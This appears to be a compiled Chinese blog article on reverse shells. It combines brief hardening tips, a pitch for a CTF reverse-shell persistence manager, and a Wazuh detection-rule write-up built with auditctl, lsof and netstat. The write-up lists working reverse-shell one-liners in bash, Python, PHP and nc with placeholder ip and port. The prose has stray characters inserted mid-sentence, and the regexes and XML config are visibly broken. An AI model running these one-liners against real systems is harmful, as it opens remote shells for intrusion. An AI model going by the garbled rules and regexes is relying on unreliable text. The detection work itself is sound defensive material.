大家好,今天来介绍反弹shell怎么防护的问题,以下是渲大师小编对此问题的归纳和整理,感兴趣的来一起看看吧!
如何关闭反弹shell
修改做团配后台数据。
检查自启动进程,非系统和自己安装的都kill-9掉。关闭非或悄安纯指全的tty连接。然后删除非法用户。
[工具介绍] 反弹 shell 管理工具
介绍一款基于 Python 开发的 反弹 shell 管理工具 Reverse-Shell-Manager
在 CTF线下赛 的时候 , 如果通过 web 或者 pwn 已经拿到了一台服务器的控制权
那么我们可以使用反弹 shell 来对该服务器进行一个长期的权限维持
一般反弹兄搭 shell 的时候我们会怎么做呢 ?
比如说这里有一个台服务器可以 RCE 了
如果要反弹的话 , 我们首先要在自己早袜的服务器上监听一陆尘激个端口 :
然后再在目标服务器上执行 :
这样就能拿到该服务器的 shell 了
但是
一旦链接断开 , 那么就要重新利用漏洞反弹一个新的 shell
这样是不是很麻烦 , 而且还会暴露漏洞是如何被利用的
如果对方抓取了流量进行分析的话 , 很快就会把漏洞补上
而且
一般线下赛很多时候需要一些自动化的脚本来运维和进行权限维持
所以写了一个小工具 , 希望能有用
大概功能就是 :
下面有一个简单的介绍视频 :
如果可以给你带来帮助的话 , 可不可以 Star 一下呐 , ヽ(✿゚▽゚)ノ
Wauzh自定义反弹shell告警规则
常见反弹:
bash -i >& /dev/tcp/ip/port 0>&1
python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip’,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);”
php -r ‘exec(“bash -i >& /dev/tcp/ip/port 0>&1”);’
php -r ‘$sock=fsockopen(“ip”,port);exec(“/bin/bash -i &3 2>&3”);’
nc -e /bin/bash ip port
测试截图:
nc:
bash:
反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命冲明令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。
参考:
https://www.freebuf.com/articles/system/187584.html
https://cloud.tencent.com/developer/article/1527568
https://xz.aliyun.com/t/2548 原理深入
https://xz.aliyun.com/t/2549
https://www.cnblogs.com/ginvip/p/6350222.html 文件标识符FD的解释
规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell
1、检查/bin/bash进程(ps -efgrep bash)
2、lsof -p $pid
3、遍历lsof结果
当TYPE中包含CHR且NAME中有(ttyptsptmx)
TYPE中包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配->和:之间的IP:(?)((2(5[0-5][0-4]d))[0-1]?d{1,2})(.((2(5[0-5][0-4]d))[0-1]?d{1,2})){3}(?=:)
FD为’cwd’,展示该行的NAME
wazuh配置
1、配置audit告警/bin/bash执行,agent端配置:
auditctl -w /bin/bash -p x -F key=audit-wazuh-c
2、wazuh告警
rule.id:80792
3、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:
exe=”/bin/bash”+type=EXECVE+包含=“-i”
执行lsof -p $pid
判断TYPE中野粗包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配->和:之间的IP:(?)((2(5[0-5][0-4]d))[0-1]?d{1,2})(.((2(5[0-5][0-4]d))[0-1]?d{1,2})){3}(?=:)
4、通过端口以及进程来判断
客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c
配置执行命令散脊告:netstat -antlp grep ESTABLISHED egrep ‘/(bashsh)’ ( rule.id =100005)
当10005和80792同时出现时,存在反弹shell,告警100006
agent.conf 编写:
no
reverse shell test
netstat -antlp grep ESTABLISHED egrep ‘/(bashsh)’ #查看是否存在以bash或者sh为名的远程连接
5s
no
yes
0
decoders.xml编写
^tcp
check_reverse_shell
s*(d+)s* #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax
send_q
check_reverse_shell
s*(d+pd+pd+pd+)
srcip
check_reverse_shell
p(d+)
srcport
check_reverse_shell
s*(d+pd+pd+pd+)
dstip
check_reverse_shell
p(d+)
dstport
rule.xml编写
#不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联
check_reverse_shell
ESTABLISHED
/bash/sh
bashsh netstat information
100005
80792
There could be reverse shell.Plz check.
告警展示
怎么防止 服务器 getshell
加强服务器安全,一般从系统安全、软件安全、网站安全三方面入手。如果不知道如何操作,可以找护卫神。